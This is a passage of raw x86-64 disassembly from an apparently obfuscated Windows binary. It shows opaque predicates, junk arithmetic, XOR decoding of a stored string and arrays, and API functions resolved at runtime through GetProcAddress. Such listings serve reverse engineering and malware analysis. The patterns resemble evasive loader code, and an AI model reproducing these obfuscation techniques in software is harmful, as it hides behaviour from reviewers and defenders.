mov eax, ecx
mov ecx, dword [rsp + 0x10bc]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002c787
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x10c0], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x10c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x10c4], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x10c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x10c8], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x10c8]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002c787
mov dword [rsp + 0x168], 0
jmp 0x14002c649
cmp dword [rsp + 0x168], 4
jae 0x14002c782
cvtsi2sd xmm0, dword [rsp + 0x168]
movsd xmm1, qword [rsp + 0x370]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x19a8], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x19a8]
ucomisd xmm1, xmm0
jp 0x14002c6c4
jne 0x14002c6c4
mov eax, dword [rsp + 0x168]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x370]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x370], xmm0
jmp 0x14002c543
cvtsi2sd xmm0, dword [rsp + 0x168]
movsd xmm1, qword [rsp + 0x370]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x19b0], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x19b0]
ucomisd xmm1, xmm0
jp 0x14002c72c
jne 0x14002c72c
mov eax, dword [rsp + 0x168]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x370]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x370], xmm0
jmp 0x14002c742
xor eax, eax
test eax, eax
je 0x14002c73e
jmp 0x14002c829
jmp 0x14002c76b
cvtsi2sd xmm0, dword [rsp + 0x168]
movsd xmm1, qword [rsp + 0x370]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x534], eax
jmp 0x14002c834
xor eax, eax
cmp eax, 1
je 0x14002c778
jmp 0x14002c787
jmp 0x14002c543
jmp 0x14002c543
xor eax, eax
cmp eax, 1
je 0x14002c829
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x10cc], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x10cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x10d4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x10d0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x10d0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x10d4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x370]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x534], eax
jmp 0x14002c834
mov dword [rsp + 0x534], 1
movsxd rax, dword [rsp + 0x74]
mov rcx, qword [rsp + 0x228]
mov edx, dword [rsp + 0x534]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x74]
mov rdx, qword [rsp + 0x228]
mov dword [rdx + rcx*4], eax
jmp 0x14002b252
mov rax, qword [rsp + 0x750]
mov byte [rax + 4], 1
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x750]
mov eax, dword [rcx + rax]
mov dword [rsp + 0x10d8], eax
lea rax, [rsp + 0x1be0]
mov ecx, dword [rsp + 0x10d8]
mov qword [rsp + 0x19b8], rcx
lea rdx, [0x140132f30]
mov rcx, rax
mov rax, qword [rsp + 0x19b8]
call qword [rdx + rax*8]
mov rdx, rax
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x15a0], rax
cmp qword [rsp + 0x15a0], 0
jne 0x14002c8e0
xor al, al
jmp 0x14002fed5
lea rdx, [rsp + 0x1fe0]
mov rcx, qword [rsp + 0x770]
call qword [rsp + 0x15a0]
test rax, rax
je 0x14002c906
mov byte [rsp + 0x87], 1
jmp 0x14002c90e
mov byte [rsp + 0x87], 0
mov al, byte [rsp + 0x87]
mov byte [rsp + 0x4b8], al
mov eax, dword [rsp + 0x2084]
add rax, 8
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rsp + 0x260]
mov rdx, rax
mov rcx, qword [rsp + 0x768]
call qword [rsp + 0x618]
test rax, rax
je 0x14002c95f
mov byte [rsp + 0x88], 1
jmp 0x14002c967
mov byte [rsp + 0x88], 0
mov al, byte [rsp + 0x88]
mov byte [rsp + 0x4b9], al
mov dword [rsp + 0x630], 0x56b5
mov dword [rsp + 0x10dc], 0x441a
mov dword [rsp + 0x10e0], 0x4acc
mov eax, dword [rsp + 0x10dc]
mov dword [rsp + 0x630], eax
cmp dword [rsp + 0x630], 0
je 0x14002c9b9
mov dword [rsp + 0x10e0], 0x3545
mov dword [rsp + 0x298], 0
jmp 0x14002c9d6
mov eax, dword [rsp + 0x298]
inc eax
mov dword [rsp + 0x298], eax
cmp dword [rsp + 0x298], 0x16
jge 0x14002c9f4
movsxd rax, dword [rsp + 0x298]
xor ecx, ecx
mov word [rsp + rax*2 + 0x1be0], cx
jmp 0x14002c9c6
mov dword [rsp + 0x538], 5
jmp 0x14002ca11
mov eax, dword [rsp + 0x538]
inc eax
mov dword [rsp + 0x538], eax
cmp dword [rsp + 0x538], 0x2c8a
jae 0x14002cab5
mov ecx, 0xea60
call fcn.14006e220
mov qword [rsp + 0x19c0], rax
mov rax, qword [rsp + 0x19c0]
mov qword [rsp + 0x15a8], rax
mov dword [rsp + 0x258], 0
jmp 0x14002ca61
mov eax, dword [rsp + 0x258]
inc eax
mov dword [rsp + 0x258], eax
cmp dword [rsp + 0x258], 0x3250
jae 0x14002ca93
cmp dword [rsp + 0x258], 0x57
jne 0x14002ca7a
jmp 0x14002ca93
movsxd rax, dword [rsp + 0x258]
mov rcx, qword [rsp + 0x15a8]
mov dword [rcx + rax*4], 0x1998
jmp 0x14002ca51
mov rax, qword [rsp + 0x15a8]
mov qword [rsp + 0x19c8], rax
mov rcx, qword [rsp + 0x19c8]
call fcn.14006e228
jmp 0x14002ca01
lea rax, [rsp + 0x4ba]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1c10]
lea rcx, [0x140107f98]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2c
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0xd0]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x260]
add rcx, rax
mov rax, rcx
mov dword [rsp + 0x2090], eax
lea rax, [rsp + 0x1a5]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov dword [rsp + 0x634], 0x93a9
mov dword [rsp + 0x10e4], 0x2f2d
mov dword [rsp + 0x10e8], 0x5bc8
mov eax, dword [rsp + 0x10e4]
mov dword [rsp + 0x634], eax
cmp dword [rsp + 0x634], 0
je 0x14002cb5d
mov dword [rsp + 0x10e8], 0x63ad
mov dword [rsp + 0x638], 0x43cc
mov dword [rsp + 0x10ec], 0x3b4c
mov dword [rsp + 0x10f0], 0x45d2
mov eax, dword [rsp + 0x10ec]
mov dword [rsp + 0x638], eax
cmp dword [rsp + 0x638], 0
je 0x14002cba1
mov dword [rsp + 0x10f0], 0x4e60
mov eax, 2
imul rax, rax, 0x15
movzx eax, word [rsp + rax + 0x1c10]
test eax, eax
je 0x14002cbc3
mov dword [rsp + 0x63c], 1
jmp 0x14002cbce
mov dword [rsp + 0x63c], 0
movzx eax, byte [rsp + 0x63c]
test eax, eax
je 0x14002cc91
mov dword [rsp + 0x640], 0x65d6
mov dword [rsp + 0x10f4], 0x88c8
mov dword [rsp + 0x10f8], 0x6e8c
mov eax, dword [rsp + 0x10f4]
mov dword [rsp + 0x640], eax
cmp dword [rsp + 0x640], 0
je 0x14002cc22
mov dword [rsp + 0x10f8], 0x9ca6
mov dword [rsp + 0x1bc], 0
jmp 0x14002cc3f
mov eax, dword [rsp + 0x1bc]
inc eax
mov dword [rsp + 0x1bc], eax
cmp dword [rsp + 0x1bc], 0x16
jge 0x14002cc91
movsxd rax, dword [rsp + 0x1bc]
movzx eax, word [rsp + rax*2 + 0x1c10]
mov dword [rsp + 0x10fc], eax
mov eax, dword [rsp + 0x1bc]
cdq
mov ecx, 0x35
idiv ecx
mov eax, edx
add eax, 0x36
mov ecx, dword [rsp + 0x10fc]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x1bc]
mov word [rsp + rcx*2 + 0x1c10], ax
jmp 0x14002cc2f
lea rcx, [rsp + 0x1a5]
call fcn.140030878
mov qword [rsp + 0x758], rax
mov rax, qword [rsp + 0x758]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x14002e2e4
mov rax, qword [rsp + 0x758]
mov qword [rsp + 0x230], rax
mov dword [rsp + 0x78], 0
jmp 0x14002ccde
mov eax, dword [rsp + 0x78]
inc eax
mov dword [rsp + 0x78], eax
movsxd rax, dword [rsp + 0x78]
cmp rax, 1
jae 0x14002e2e4
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1100], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1100]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1104], eax
call fcn.14001b988
movsx eax, al
shl eax, 1
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1104]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1108], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1108]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002d0a6
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108340]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x378], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x110c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x110c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1114], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x1110], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1110]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1114]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002cfd0
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1118], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1118]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x111c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x111c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1120], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1120]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002cfd0
mov dword [rsp + 0x16c], 0
jmp 0x14002ce92
cmp dword [rsp + 0x16c], 4
jae 0x14002cfcb
cvtsi2sd xmm0, dword [rsp + 0x16c]
movsd xmm1, qword [rsp + 0x378]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x19d0], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x19d0]
ucomisd xmm1, xmm0
jp 0x14002cf0d
jne 0x14002cf0d
mov eax, dword [rsp + 0x16c]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x378]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x378], xmm0
jmp 0x14002cd8c
cvtsi2sd xmm0, dword [rsp + 0x16c]
movsd xmm1, qword [rsp + 0x378]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x19d8], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x19d8]
ucomisd xmm1, xmm0
jp 0x14002cf75
jne 0x14002cf75
mov eax, dword [rsp + 0x16c]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x378]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x378], xmm0
jmp 0x14002cf8b
xor eax, eax
test eax, eax
je 0x14002cf87
jmp 0x14002d072
jmp 0x14002cfb4
cvtsi2sd xmm0, dword [rsp + 0x16c]
movsd xmm1, qword [rsp + 0x378]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x53c], eax
jmp 0x14002d07d
xor eax, eax
cmp eax, 1
je 0x14002cfc1
jmp 0x14002cfd0
jmp 0x14002cd8c
jmp 0x14002cd8c
xor eax, eax
cmp eax, 1
je 0x14002d072
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1124], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1124]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x112c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x1128], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1128]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x112c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x378]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x53c], eax
jmp 0x14002d07d
mov dword [rsp + 0x53c], 1
movsxd rax, dword [rsp + 0x78]
mov rcx, qword [rsp + 0x230]
mov edx, dword [rsp + 0x53c]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x230]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1130], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1130]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1138], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 3
mov dword [rsp + 0x1134], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1134]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1138]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002df25
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x113c], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x113c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1140], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 7
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1140]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1144], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1144]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002d4db
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108338]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x380], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1148], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1148]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1150], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x114c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x114c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1150]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002d405
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1154], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1154]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1158], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1158]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x115c], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x115c]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002d405
mov dword [rsp + 0x170], 0
jmp 0x14002d2c7
cmp dword [rsp + 0x170], 4
jae 0x14002d400
cvtsi2sd xmm0, dword [rsp + 0x170]
movsd xmm1, qword [rsp + 0x380]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x19e0], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x19e0]
ucomisd xmm1, xmm0
jp 0x14002d342
jne 0x14002d342
mov eax, dword [rsp + 0x170]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x380]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x380], xmm0
jmp 0x14002d1c1
cvtsi2sd xmm0, dword [rsp + 0x170]
movsd xmm1, qword [rsp + 0x380]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x19e8], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x19e8]
ucomisd xmm1, xmm0
jp 0x14002d3aa
jne 0x14002d3aa
mov eax, dword [rsp + 0x170]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x380]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x380], xmm0
jmp 0x14002d3c0
xor eax, eax
test eax, eax
je 0x14002d3bc
jmp 0x14002d4a7
jmp 0x14002d3e9
cvtsi2sd xmm0, dword [rsp + 0x170]
movsd xmm1, qword [rsp + 0x380]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x540], eax
jmp 0x14002d4b2
xor eax, eax
cmp eax, 1
je 0x14002d3f6
jmp 0x14002d405
jmp 0x14002d1c1
jmp 0x14002d1c1
xor eax, eax
cmp eax, 1
je 0x14002d4a7
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1160], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1160]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1168], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x1164], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1164]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1168]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x380]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x540], eax
jmp 0x14002d4b2
mov dword [rsp + 0x540], 1
movsxd rax, dword [rsp + 0x78]
mov rcx, qword [rsp + 0x230]
mov edx, dword [rsp + 0x540]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x230]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x116c], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x116c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1170], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1170]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1174], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1174]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002d895
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108330]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x388], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1178], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1178]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1180], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x117c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x117c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1180]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002d7bf
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1184], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1184]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1188], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1188]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x118c], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x118c]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002d7bf
mov dword [rsp + 0x174], 0
jmp 0x14002d681
cmp dword [rsp + 0x174], 4
jae 0x14002d7ba
cvtsi2sd xmm0, dword [rsp + 0x174]
movsd xmm1, qword [rsp + 0x388]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x19f0], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x19f0]
ucomisd xmm1, xmm0
jp 0x14002d6fc
jne 0x14002d6fc
mov eax, dword [rsp + 0x174]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x388]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x388], xmm0
jmp 0x14002d57b
cvtsi2sd xmm0, dword [rsp + 0x174]
movsd xmm1, qword [rsp + 0x388]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x19f8], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x19f8]
ucomisd xmm1, xmm0
jp 0x14002d764
jne 0x14002d764
mov eax, dword [rsp + 0x174]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x388]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x388], xmm0
jmp 0x14002d77a
xor eax, eax
test eax, eax
je 0x14002d776
jmp 0x14002d861
jmp 0x14002d7a3
cvtsi2sd xmm0, dword [rsp + 0x174]
movsd xmm1, qword [rsp + 0x388]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x544], eax
jmp 0x14002d86c
xor eax, eax
cmp eax, 1
je 0x14002d7b0
jmp 0x14002d7bf
jmp 0x14002d57b
jmp 0x14002d57b
xor eax, eax
cmp eax, 1
je 0x14002d861
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1190], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1190]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1198], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x1194], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1194]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1198]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x388]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x544], eax
jmp 0x14002d86c
mov dword [rsp + 0x544], 1
movsxd rax, dword [rsp + 0x78]
mov rcx, qword [rsp + 0x230]
mov edx, dword [rsp + 0x544]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x230]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x78]
sub eax, 0x6a
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x390], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x119c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x119c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x11a4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x11a0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x11a0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x11a4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002db0e
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x11a8], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x11a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x11ac], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x11ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x11b0], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x11b0]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002db0e
mov dword [rsp + 0x178], 0
jmp 0x14002d9d0
cmp dword [rsp + 0x178], 4
jae 0x14002db09
cvtsi2sd xmm0, dword [rsp + 0x178]
movsd xmm1, qword [rsp + 0x390]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1a00], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1a00]
ucomisd xmm1, xmm0
jp 0x14002da4b
jne 0x14002da4b
mov eax, dword [rsp + 0x178]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x390]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x390], xmm0
jmp 0x14002d8ca
cvtsi2sd xmm0, dword [rsp + 0x178]
movsd xmm1, qword [rsp + 0x390]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1a08], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1a08]
ucomisd xmm1, xmm0
jp 0x14002dab3
jne 0x14002dab3
mov eax, dword [rsp + 0x178]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x390]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x390], xmm0
jmp 0x14002dac9
xor eax, eax
test eax, eax
je 0x14002dac5
jmp 0x14002dbb0
jmp 0x14002daf2
cvtsi2sd xmm0, dword [rsp + 0x178]
movsd xmm1, qword [rsp + 0x390]
addsd xmm1, xmm0
movaps xmm0, xmm1
